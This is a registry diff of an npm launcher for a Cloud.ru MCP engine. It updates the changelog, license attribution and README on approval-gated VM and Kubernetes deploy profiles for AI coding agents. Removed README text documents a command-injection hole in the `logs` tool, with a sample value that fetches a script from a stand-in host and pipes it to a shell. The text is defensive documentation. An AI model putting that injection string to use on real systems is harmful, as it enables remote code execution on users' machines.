@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/.dz-manifest.json CHANGED
@@ -5,19 +5,19 @@
5
5
  "files": [
6
6
  {
7
7
  "path": "CHANGELOG.md",
8
- "sha256": "edc0f1b076a22dc14b863bef8b287c1b9d8618a12b7ecf9f6eb0c497f74361f3"
8
+ "sha256": "4d6d0e6f47b09b017a32e4f3287c0669821e61569835c397245e5077435f5b15"
9
9
  },
10
10
  {
11
11
  "path": "LICENSE",
12
- "sha256": "68da42b10dcc095cdfd7249557cee30285664e5dea00dc85475ff047d975616a"
12
+ "sha256": "78a14ae697528fa79451ea10725c5ca356f6658378bfb39849b51d05207ab3f3"
13
13
  },
14
14
  {
15
15
  "path": "README.md",
16
- "sha256": "504ce5cd5b6293b3606f861f31406ae89aa6fee45a03c9099d793aa5a456ced1"
16
+ "sha256": "2c25bbd9659f1a02e2a7a5413de8673e8735d67e583458fdede75dfd032b6106"
17
17
  },
18
18
  {
19
19
  "path": "THIRD_PARTY_NOTICES.md",
20
- "sha256": "109cffdaaf9402e88f6cc35a0497ba49db015b329fce87ba20762f34dc95c051"
20
+ "sha256": "1986a75d5f90631adea8fb40c9fc182371cb875c9d62d65d07fd479b32c876df"
21
21
  },
22
22
  {
23
23
  "path": "bin/cloudru-hub.js",
@@ -33,19 +33,23 @@
33
33
  },
34
34
  {
35
35
  "path": "data/tools-classification.json",
36
- "sha256": "13d6a3e87d767d0015f6b2af0223633fa99e49c69c9a8adcec8f6fce6e46d36e"
36
+ "sha256": "9abb3ca6347b0cd6cd51b23649c59e0a0c816e6c12a325f573b392affa350d0b"
37
37
  },
38
38
  {
39
39
  "path": "data/tools-list-snapshot.json",
40
- "sha256": "56221fa8170f2b32ab6d3a907261badc07695f47ae9ac4adca4e43d2ea5ee06f"
40
+ "sha256": "dff98bb859dfbbf8ed2fb6f16f17b767444cc2172ecc7684ca3df8188c95707c"
41
+ },
42
+ {
43
+ "path": "docs/HERMES-CODEX.md",
44
+ "sha256": "3605797972f9a7c79c13fbcce0cd9ac8b8fb3a8249abbab938f2b1a45f515420"
41
45
  },
42
46
  {
43
47
  "path": "docs/LOCAL-TESTING.md",
44
- "sha256": "092142c00295c54866330f2159a13284d04e2f35a749b32dff0ca4f2ab28ea54"
48
+ "sha256": "de6f709e820fbb831f390e274238b28ba938644670a8db04fd50d1fa0d86da75"
45
49
  },
46
50
  {
47
51
  "path": "package.json",
48
- "sha256": "c40ea35a6a994034e4643310bdd990367abcb033f49279f5349e95fe489b4e1a"
52
+ "sha256": "d906ed1871af834274d77dbd3a345b168604456b15360f009a9474778273b11f"
49
53
  },
50
54
  {
51
55
  "path": "src/classification.js",
@@ -53,7 +57,15 @@
53
57
  },
54
58
  {
55
59
  "path": "src/cli.js",
56
- "sha256": "db981ad0078c80ba7a859057638a2576d7f02d87ca2891f8083a92a8147742dd"
60
+ "sha256": "a22f3fcced6e9970e7bed6b935fc03637b6d4b8d3cd6cc65a2685595a6549c1c"
61
+ },
62
+ {
63
+ "path": "src/credentials.js",
64
+ "sha256": "21f074b4bf5b5ee9e893a2c1919cf4bb62f9fa05a0d7a1a8c04afc051ccb0e78"
65
+ },
66
+ {
67
+ "path": "src/deploy-approval.js",
68
+ "sha256": "5c1fba3d298df73ff82f28c72bc5199d23acc6dfc64022438874b0e3381c9394"
57
69
  },
58
70
  {
59
71
  "path": "src/dialects.js",
@@ -61,23 +73,47 @@
61
73
  },
62
74
  {
63
75
  "path": "src/install.js",
64
- "sha256": "5d087b289aaf8cd2e1b4cffbd2227eb3bdc7264cddc0877561e08bc0ea6d6fd2"
76
+ "sha256": "c928db48febfb4a79884ce1830365a8302122a55fb5d6ada8e771c049396ca89"
77
+ },
78
+ {
79
+ "path": "src/k8s-approval.js",
80
+ "sha256": "014c2effd1e843d870ae1af4f93f5c82faff9972e9f6ca028ed39d47ec33ee3a"
81
+ },
82
+ {
83
+ "path": "src/probe-child.js",
84
+ "sha256": "0f7a0c1f6d0d033006ca816df49c24e69eb82aa6b70ec03491bce9e4d674bdd4"
65
85
  },
66
86
  {
67
87
  "path": "src/resolve.js",
68
- "sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
88
+ "sha256": "d3eba14c23be5bfb7e73952e6ae27908667d535f91be9c43e11dbf7b7c4de49d"
89
+ },
90
+ {
91
+ "path": "src/safe-mcp.js",
92
+ "sha256": "4f95cfb9576c411232503b26053ece6d8d186e4b337beff9bd4afd249f74a014"
93
+ },
94
+ {
95
+ "path": "src/toolsets.js",
96
+ "sha256": "89229c882b6a3f5bb9ee542b31d1a40374b91879747582a3e82e8aadc72decb3"
69
97
  },
70
98
  {
71
99
  "path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
72
100
  "sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
73
101
  },
102
+ {
103
+ "path": "test/billing-credentials.test.mjs",
104
+ "sha256": "f2e1b05bdb6a6e811844ee19b0142daa02647b387f5d96b4a5d29bd34e3c985d"
105
+ },
74
106
  {
75
107
  "path": "test/classification.test.mjs",
76
- "sha256": "25290e9a8715d13670d617e23cb47c4c2d71b1506a8d98e5b682733b626a18b8"
108
+ "sha256": "026e3031180ce9227b4d31775b9c886b10ad0cb418ed0754aed75b12ded84e31"
109
+ },
110
+ {
111
+ "path": "test/deploy-approval.test.mjs",
112
+ "sha256": "d72e4363fd50d0fcc65fd23b40601516bd73368c3659f2a55a394c4d1ed3f85c"
77
113
  },
78
114
  {
79
115
  "path": "test/dialects.test.mjs",
80
- "sha256": "9b83b2e2cbbee4ead33af61db840833ce4aa2dd0cf5a4448d72d5886098639c6"
116
+ "sha256": "3e6236f0cfb159dd73477b6243f6af536925968308085fd248df93932a2bebbf"
81
117
  },
82
118
  {
83
119
  "path": "test/hook.test.mjs",
@@ -85,7 +121,11 @@
85
121
  },
86
122
  {
87
123
  "path": "test/install.test.mjs",
88
- "sha256": "e986b29346672bf75b384ab6d8657265b8ecb8f62df6563dca317c1fc63fc8fc"
124
+ "sha256": "07fe729b0dc6955329d0a3121ce97d575582f8c6f2895e72d0c38175f82b52d2"
125
+ },
126
+ {
127
+ "path": "test/k8s-approval.test.mjs",
128
+ "sha256": "af04d1941fb7aed2cc51b05f65ffed1c440d4d23a7fb26e13261d45e07b0a1f8"
89
129
  },
90
130
  {
91
131
  "path": "test/mutation-registry-freshness.test.mjs",
@@ -93,17 +133,21 @@
93
133
  },
94
134
  {
95
135
  "path": "test/mutation-registry.json",
96
- "sha256": "e56ee7b4ba160f28687423ca113d1bfbcbfdd351fe9d31ad5a19b4d0069dbe3a"
136
+ "sha256": "09b8fdc28bbe5df9b4cfd7d563c1acb479532157bbe1a99e909b3b370dd96630"
97
137
  },
98
138
  {
99
139
  "path": "test/pack-holds.test.mjs",
100
- "sha256": "a083ff619f1d97b3e0e1b95dec6e98b56c4296da5171e2eb41c713dd983c8d69"
140
+ "sha256": "f5e66cce7344efb22c40bba91b422ce84979948b66bb0305377f8c12eb078002"
101
141
  },
102
142
  {
103
143
  "path": "test/resolve.test.mjs",
104
- "sha256": "6b524f69c5ed03aaafab67e734e58092033423b86feade28ad03f516feba2380"
144
+ "sha256": "9ad83ba418dee86ef680575a0cc7da4af4be3ae995c00f23f84b336838fbda47"
145
+ },
146
+ {
147
+ "path": "test/safe-mcp.test.mjs",
148
+ "sha256": "45406dabeee0635ede5cda3d2f4144c5c13886d624287fd223b01252d2859b87"
105
149
  }
106
150
  ]
107
151
  },
108
- "signature": "NhFBu/MKRxi0dLb3A40PAfnOWi8pqEXs1vZ6+3AQIoh7K09B9/BFQXdQnMiCCfTtG1getGxSNK2SCr/57FGIBw=="
152
+ "signature": "l3G7HKnPVq9k2pUtMFbeaNybS7PUSGnlJAn3dSZvcXRKKQ4TEFmxYfgO4Urjw2spCra9M3UAkRVSJfkUX7zYCw=="
109
153
  }
package/CHANGELOG.md CHANGED
@@ -1,5 +1,94 @@
1
1
  # Changelog — @dzhechkov/cloudru-hub
2
2
 
3
+ ## 0.1.14 — 2026-10-20
4
+
5
+ - Prepare an exact optional dependency on `@dzhechkov/cloudru-vm-linux-x64@0.2.6`.
6
+ A fresh Linux/x64 installation resolves the separately packed Go engine;
7
+ no postinstall download is used.
8
+ - Credit Timur's substantial Cloud.ru API testing and the defects it revealed;
9
+ correct the earlier attribution in current package materials.
10
+ - Build the Linux/x64 platform engine with `CGO_ENABLED=0` and pin the resulting
11
+ static binary. The first GitHub Actions build exposed a C-toolchain-dependent
12
+ hash from the earlier dynamic build; the static artifact passed its GitHub CI build.
13
+
14
+ ## 0.1.13 — 2026-10-20
15
+
16
+ This release publishes the previously private launcher and host-adapter preview.
17
+ The Go engine is not included in this npm archive or available as a platform
18
+ package yet. All Cloud.ru operations require an owner-supplied engine matching
19
+ the pinned SHA-256; both MCP launcher routes refuse a mismatched engine.
20
+
21
+ - Complete both OpenCode and Pi live static-site VM scenarios: agent-authored
22
+ Snake and the pinned 12-file repository archive. Each host retained one
23
+ `deploy_apply` result per run, independent HTTP bytes matched the reviewed
24
+ source, and exact VM/security-group cleanup restored baseline inventory.
25
+ Set the host-specific long-call timeout to 1,200 seconds.
26
+ - Add an opt-in `k8s-deploy` pilot for Codex, Claude Code, Hermes, OpenCode and
27
+ Pi. A local one-use approval binds an exact three-resource Snake manifest to
28
+ an existing cluster, namespace and project; the proxy exposes only bounded
29
+ readback and sends `create_only=true` to avoid patching name collisions.
30
+ The private Go engine is rebuilt as `0.2.6-20261020` with SHA-256
31
+ `89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10`.
32
+ Local tests pass; a Kubernetes role was later granted and the four available
33
+ hosts passed live deployment. Claude Code inference remains unavailable.
34
+
35
+ - Keep Hermes MCP discovery responsive while a long `deploy_apply` is running:
36
+ cache the pinned proxy's filtered tool list after its first successful read.
37
+ The previous serial Go backend could not answer Hermes' keepalive during VM
38
+ creation, causing a reconnect and an unknown outcome for the agent. Both
39
+ post-fix live Snake scenarios passed: Hermes received the final apply result,
40
+ independently served bytes matched the approved source, and each temporary
41
+ VM and dedicated security group was removed.
42
+
43
+ - Verify Hermes' built-in import of this server's existing Codex CLI OAuth
44
+ credentials. The isolated and default Hermes profiles now select
45
+ `openai-codex` / `gpt-6-sol` and each passed a short inference probe. This
46
+ cleared the model-provider blocker before the live Hermes VM acceptance runs.
47
+
48
+ - Accept both flat and nested Cloud.ru subnet availability-zone IDs during VM
49
+ planning; reject conflicting IDs. Live `/api/v1/subnets` returned the nested
50
+ form and previously made the planner reject a valid project subnet. Add API
51
+ response and planner regression tests.
52
+ - Complete both Codex-hosted static-site VM acceptance scenarios (new Snake
53
+ source and a pinned GitHub archive), with exact-byte HTTP verification and
54
+ cleanup of each test VM/security group. Hermes connects to the 12-tool
55
+ profile but its available model-provider credentials failed before inference;
56
+ OpenCode and Pi were still pending at this point. The final rebuilt binary
57
+ was checked with a read-only live plan, Go and package tests; the two paid
58
+ deploys used the immediately preceding binary before fail-closed zone-field
59
+ hardening.
60
+
61
+ - In the private preview, add bounded static-site Cloud-init deployment with
62
+ reviewed source digests, a dedicated HTTP security group, existing-IP
63
+ approval, exact-byte HTTP checks, and durable run checkpoints. The preview
64
+ engine pin was `0.2.5-20261020` at that stage; public engine redistribution remains a
65
+ separate gate.
66
+
67
+ - Add `mcp-safe`, a pinned MCP process boundary that exposes only allow-classified tools,
68
+ blocks other calls before the engine, and supports named toolsets. Host installers default
69
+ to the 11-tool inventory group; `all` exposes the full 78-tool allow-classified surface.
70
+ - Add project MCP registrations for Codex, OpenCode and Pi and a guarded Hermes YAML
71
+ registration. Hermes receives an explicit path to a locally hash-verified engine because
72
+ it filters inherited environment variables. Complex configuration and pre-existing Cloud.ru entries are refused.
73
+ - Canonicalize forwarded JSON-RPC requests to prevent case-insensitive Go field aliases
74
+ from bypassing tool filtering; close the proxy when its engine exits unexpectedly.
75
+ - Repair `self-test` tools/list probing so a persistent MCP server is stopped after its
76
+ response; report a SHA-256 mismatch as a failed step.
77
+ - Add fake-engine boundary tests and verify the real pinned engine's 144-tool classification
78
+ and the proxy's 11-tool inventory list locally. The installed Hermes client connected to
79
+ the generated server and discovered 11 tools; other host-session activation and real
80
+ Cloud.ru operations remain unverified.
81
+ - Import the Go engine into the private source tree with provenance; fix shell quoting in
82
+ `logs`, make `stack_status` observational, fail `doctor` on failed checks, refuse a VM
83
+ create when inventory fails, and report state-persistence failure after a create.
84
+ - Pin the locally rebuilt `0.2.4-20261019` Go engine and recapture its 144-tool schema.
85
+ `stack_status` changes from ask to allow after its Go behavior fix; `stack_apply`
86
+ remains ask. The current public platform package does not match this private pin.
87
+ - Add an opt-in `vm-deploy` profile for Hermes and Codex with a private credentials
88
+ file, exact-plan/cost approval, one-use apply, and VM-scoped remote execution.
89
+ Fake-engine tests cover forged confirmation, approval replay, changed plans and
90
+ execution on an unrelated VM. Live Cloud.ru acceptance is pending temporary keys.
91
+
3
92
  ## 0.1.6
4
93
 
5
94
  Corrects the link added in 0.1.5: the Тимур credit now points at his about page
package/LICENSE CHANGED
@@ -1,14 +1,5 @@
1
1
  # LICENSE — @dzhechkov/cloudru-hub
2
2
 
3
- This file has two parts because the shipped work has two provenances. Part 1 covers every
4
- byte actually contained in this npm package. Part 2 records the licensing status of the
5
- Hermes engine additions, which this package deliberately does NOT contain.
6
-
7
- ---
8
-
9
- ## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
10
- ## and the original Go CLI foundation
11
-
12
3
  MIT License
13
4
 
14
5
  Copyright (c) 2026 Dmitry Zhechkov
@@ -31,37 +22,9 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
31
22
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
32
23
  SOFTWARE.
33
24
 
34
- Authorship note (ADR-001 amendment AM-1, recorded 2026-08-09): the original Go CLI
35
- foundation on which the Hermes engine builds (cli.go / internal/cli) was authored by
36
- Dmitry Zhechkov, the owner of this repository. The Hermes engine is a DERIVATIVE work
37
- built on that foundation. This note states the owner's own authorship as fact; it does
38
- NOT assert, imply, or substitute for any grant by the Hermes engine author.
39
-
40
- ---
41
-
42
- ## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
43
-
44
- This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
45
- engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
46
- (environment variable / config path / a future platform package) and is never bundled
47
- here. See ADR-002 (distribution form) and the package README.
48
-
49
- Redistribution status of the engine additions (the Hermes author's contribution on top
50
- of the owner's CLI foundation):
51
-
52
- GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
53
- engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
54
- foundation), approved publication of this package, as reported by the repository owner
55
- (Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
56
- written confirmation is a recorded owner follow-up (see the grant record linked below).
57
- Per the owner's standing attribution condition, publication carries authorship credit:
58
- the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
59
- every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
60
-
61
- The author did not designate a licence text for the engine additions themselves.
62
- Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
63
- licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
64
- third party rights to the engine additions — their use remains governed by their
65
- author's own terms.
25
+ This launcher archive contains ZERO bytes of the Go engine: no binary or Go sources.
26
+ The engine is distributed separately with its own package license and third-party
27
+ notices. Тимур contributed substantial Cloud.ru API testing and identified API
28
+ behavior and defects. The corrected attribution record is linked below.
66
29
 
67
30
  Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md
package/README.md CHANGED
@@ -1,12 +1,10 @@
1
1
  # @dzhechkov/cloudru-hub
2
2
 
3
- > **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
4
- > [Тимур](https://shkrbkv.ru/about/), the author of the Hermes engine additions, approved publication (owner-reported
5
- > 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
6
- > Part 2; archiving the author's written confirmation is a recorded owner follow-up).
7
- > The `dz guard` `licence-hold` rule stays armed and keeps verifying
8
- > LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
9
- > trigger in place.
3
+ Site: https://aicoding.space · Source: https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub
4
+
5
+ > **Linux/x64 distribution:** version 0.1.14 installs the exact optional engine
6
+ > package `@dzhechkov/cloudru-vm-linux-x64@0.2.6`. The `dz guard` `licence-hold`
7
+ > rule continues to check LICENSE, notices and SPDX on publish.
10
8
 
11
9
  > **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
12
10
  > trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
@@ -17,28 +15,33 @@ Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **
17
15
  Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
18
16
  docker-compose deploy wizard.
19
17
 
18
+ The launcher archive contains no engine binary. On Linux/x64, npm installs the exact
19
+ optional platform package with the pinned Go engine. Run:
20
+
21
+ ```bash
22
+ npm install -g @dzhechkov/cloudru-hub@0.1.14
23
+ cloudru-hub self-test
24
+ ```
25
+
26
+ The self-test verifies the engine SHA-256, version, 144 live MCP tools and their
27
+ classification without Cloud.ru credentials. On another platform, or if optional
28
+ dependencies were disabled, provide a trusted binary with the same SHA-256.
29
+
20
30
  ## Attribution
21
31
 
22
- - **CLI foundation and everything in this package** (launcher, adapters, installer,
23
- tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go
24
- CLI on which the engine builds is the owner's work; the Hermes engine is a derivative
25
- of it.
26
- - **Hermes engine additions** (the ~144-tool MCP layer): **[Тимур](https://shkrbkv.ru/about/)**, the Hermes author.
27
- **Zero bytes of those additions ship in this package** — no binary, no Go sources, no
28
- skill corpus. Publication of this package was approved by the author (grant recorded
29
- 2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
30
- licence text for the engine additions themselves; nothing here grants third parties
31
- rights to them.
32
+ **[Тимур](https://shkrbkv.ru/about/)** carried out extensive Cloud.ru API testing,
33
+ identifying actual behavior and defects.
34
+ The JS launcher remains MIT-licensed; its archive contains no Go engine bytes.
32
35
 
33
36
  ## What ships here (our code only — ADR-002)
34
37
 
35
38
  | Piece | Where | What it does |
36
39
  |---|---|---|
37
- | Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
38
- | Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
39
- | Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |
40
+ | Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64`; verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
41
+ | Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (64 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 78 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
42
+ | Target integration | `src/install.js`, `src/safe-mcp.js` | Codex, OpenCode and Pi get project MCP configs using a pinned proxy; Hermes gets a guarded `$HERMES_HOME/config.yaml` entry with a verified engine path. Claude Code's general install keeps its permissions and hook probe. The opt-in `vm-deploy` profile requires an exact-plan approval and confines remote commands to the returned VM. Codex, Hermes, OpenCode and Pi each completed both live static-site scenarios on 2026-10-20 with HTTP byte checks and exact resource cleanup. The `k8s-deploy` profile uses a separate exact-manifest approval and create-only Kubernetes operation; the same four hosts completed live Kubernetes deployment, readiness, exact-byte HTTP and cleanup checks. Claude Code has installer/registration checks but no live inference pass. |
40
43
  | Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
41
- | Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |
44
+ | Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the handler (read-only proven at the pinned baseline, engine file:line cited per entry). The previous `stack_status` behavior was unsafe; the imported engine now makes it observational and tests that invariant. A live tool unknown to the classifier is a drift finding. |
42
45
 
43
46
  ## Usage
44
47
 
@@ -46,52 +49,64 @@ docker-compose deploy wizard.
46
49
  cloudru-hub resolve # where is the engine, which sha256, is it the pinned baseline
47
50
  cloudru-hub self-test # resolve → sha256 → engine version → live tools/list → coverage
48
51
  cloudru-hub mcp # run the engine as an MCP stdio server (what .mcp.json points at)
52
+ cloudru-hub mcp-safe --toolsets inventory # pinned MCP proxy with a small allow-classified surface
53
+ cloudru-hub install --target codex --toolsets billing # read-only balance, consumption and FinOps
54
+ cloudru-hub install --target codex --toolsets vm-deploy # guarded VM deployment profile
55
+ cloudru-hub install --target codex --toolsets k8s-deploy # bounded existing-cluster Snake profile
56
+ cloudru-hub k8s-approve --cluster-id <uuid> --namespace snake-pilot --manifest <snake.yaml> --manifest-sha256 <digest>
57
+ cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> # one reviewed SSH plan
58
+ cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> --site-sha256 <digest> # reviewed static-site artifact
49
59
  cloudru-hub install --target claude-code # emit .mcp.json + permission brake + veto hook, PROBE the veto
60
+ cloudru-hub install --target codex # project .codex/config.toml using mcp-safe
61
+ cloudru-hub install --target opencode # project opencode.json using mcp-safe
62
+ cloudru-hub install --target pi # project .pi/mcp.json using mcp-safe
63
+ cloudru-hub install --target hermes # require a hash-verified engine; add safe entry to $HERMES_HOME/config.yaml
50
64
  cloudru-hub install --target agents-md # pointer-only section (no tools, no fake support)
51
65
  cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
52
66
  ```
53
67
 
54
- ## Local testing (works now, no publish)
68
+ ## Using an owner-supplied engine instead
55
69
 
56
70
  ```bash
57
- export CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm # e.g. the pinned 0.2.3-20260718 baseline
71
+ export CLOUDRU_VM_BIN=/path/to/trusted/cloudru-vm # must match the pinned build
58
72
  node bin/cloudru-hub.js self-test
59
73
  ```
60
74
 
61
75
  Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
62
- the pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full
76
+ the pinned baseline `4463b093…97a97c9b6`, engine version, 144 live tools, full
63
77
  classification coverage). Full walkthrough incl. `npm link` and MCP registration:
64
78
  [`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
65
79
 
80
+ Host setup, checks and limits: [`docs/HERMES-CODEX.md`](docs/HERMES-CODEX.md). These adapters are generated from our own classification and do not reuse EVO code. EVO's broader standalone CLI and toolset selection remain advantages to carry into the owner's Go engine.
81
+
82
+ For billing through `mcp-safe`, add the optional `"agreement_id":"…"` to the owner-only `~/.config/cloudru-hub/credentials.json` alongside `key_id`, `secret` and `project_id`. The proxy forwards it to the Go child as `CLOUDRU_AGREEMENT_ID`. Existing environment-only billing setups remain supported when no credential file is configured. The current consumption tool reports the agreement-wide total; its output should not be presented as a per-project bill. See the [Cloud.ru instructions for locating the agreement ID](https://cloud.ru/docs/billing/ug/topics/faq__api_id_agreement).
83
+
84
+ The `vm-deploy` and `k8s-deploy` profiles are included in the launcher as **opt-in previews**. They require the matching pinned Go binary and temporary credentials in a private local file. On Linux/x64, a normal npm installation supplies that binary through the optional platform package. A static site can be planned from a local HTML file or a bounded ZIP snapshot with `deploy_plan(static_site_source=...)`; the operator checks the source digest shown in the plan and supplies that digest to `approve`. Every included ZIP file is served publicly, so review the file list in the plan and keep credentials out of the artifact. Planning requires an existing available floating IP, whose ID is bound to the approval. Apply creates a dedicated TCP-80 security group, boots the VM from fixed Cloud-init data, and reports the site as verified only after the approved IP is attached to that VM and exact-byte HTTP checks pass. A private run journal keeps resource IDs for interrupted-run recovery and blocks blind replay. The estimate covers compute and disk; a public IP may have a separate charge. The static-site route does not authorize `vm_exec` over SSH. See the two-Snake acceptance procedure in `features/cloudru-cli-vm-deploy/SNAKE-ACCEPTANCE.md` in the private source tree.
85
+
86
+ The Kubernetes preview accepts only one reviewed manifest containing a ConfigMap, a non-root single-pod Deployment and a ClusterIP Service in an existing namespace. `k8s-approve` binds exact manifest bytes, cluster, namespace, project and a ten-minute single-use approval. The agent passes only the approval ID; the proxy forwards `create_only=true`, so an existing resource name is a conflict instead of being patched. Kubernetes `create` is not transactional across three documents: inspect and clean up any partially created resources by exact name before trying again. Use a dedicated namespace with no pre-existing resources matching the app label or the three approved names. The profile does not create a cluster, namespace, nodes, NAT, ingress or load balancer. The example, local evidence and four-host live acceptance are in `features/cloudru-k8s-snake-deploy/` in private source. The service account's initial 403 was resolved by granting the Kubernetes role; Claude Code inference remains unavailable for a live host test.
87
+
66
88
  ## Safety properties (all layer-1, discrimination-proven)
67
89
 
68
90
  Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
69
91
  `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
70
- and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):
71
-
72
- 1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
73
- deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
74
- verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),
75
- THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin
76
- the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-
77
- LICENSE invariant (ADR-001 Confirmation) and the publishable state.
92
+ and requires the suite to go RED. The registry passed on 2026-10-20 with 13/13
93
+ protections proven:
94
+
95
+ 1. **The licence gate stays armed** — the `licenseHold` trigger field remains in
96
+ package.json, so `dz guard` checks LICENSE, the corrected provenance link,
97
+ THIRD_PARTY_NOTICES and the SPDX field on every publish. Pack tests verify the
98
+ corrected API-testing attribution and the publishable state.
78
99
  2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
79
100
  `npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
80
101
  3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
81
102
  keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
82
103
  report success unless the executed probe blocks.
83
- 4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs
84
- server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →
85
- `s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and
86
- attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain
87
- `stack_plan→stack_status` and goes RED.
88
- 5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`
89
- arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
90
- `engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
91
- `internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
92
- user's VM. Flipping it back to allow puts that command-injection path behind a silent
93
- allow and goes RED. (Engine injection flagged to the author — the classifier can only
94
- prompt, it cannot escape the arg.)
104
+ 4. **`stack_status` only observes** — the private Go engine no longer advances planned or
105
+ running jobs on a read; `stack_apply` is the explicit paid action. The Go regression
106
+ test checks repeated status calls, and the classification now permits the read.
107
+ 5. **`logs` stays ask** — the engine now shell-quotes its user-controlled `service` as
108
+ one argument, with a regression test for hostile input. It still reaches remote SSH
109
+ and can expose logs, so the proxy does not silently permit it.
95
110
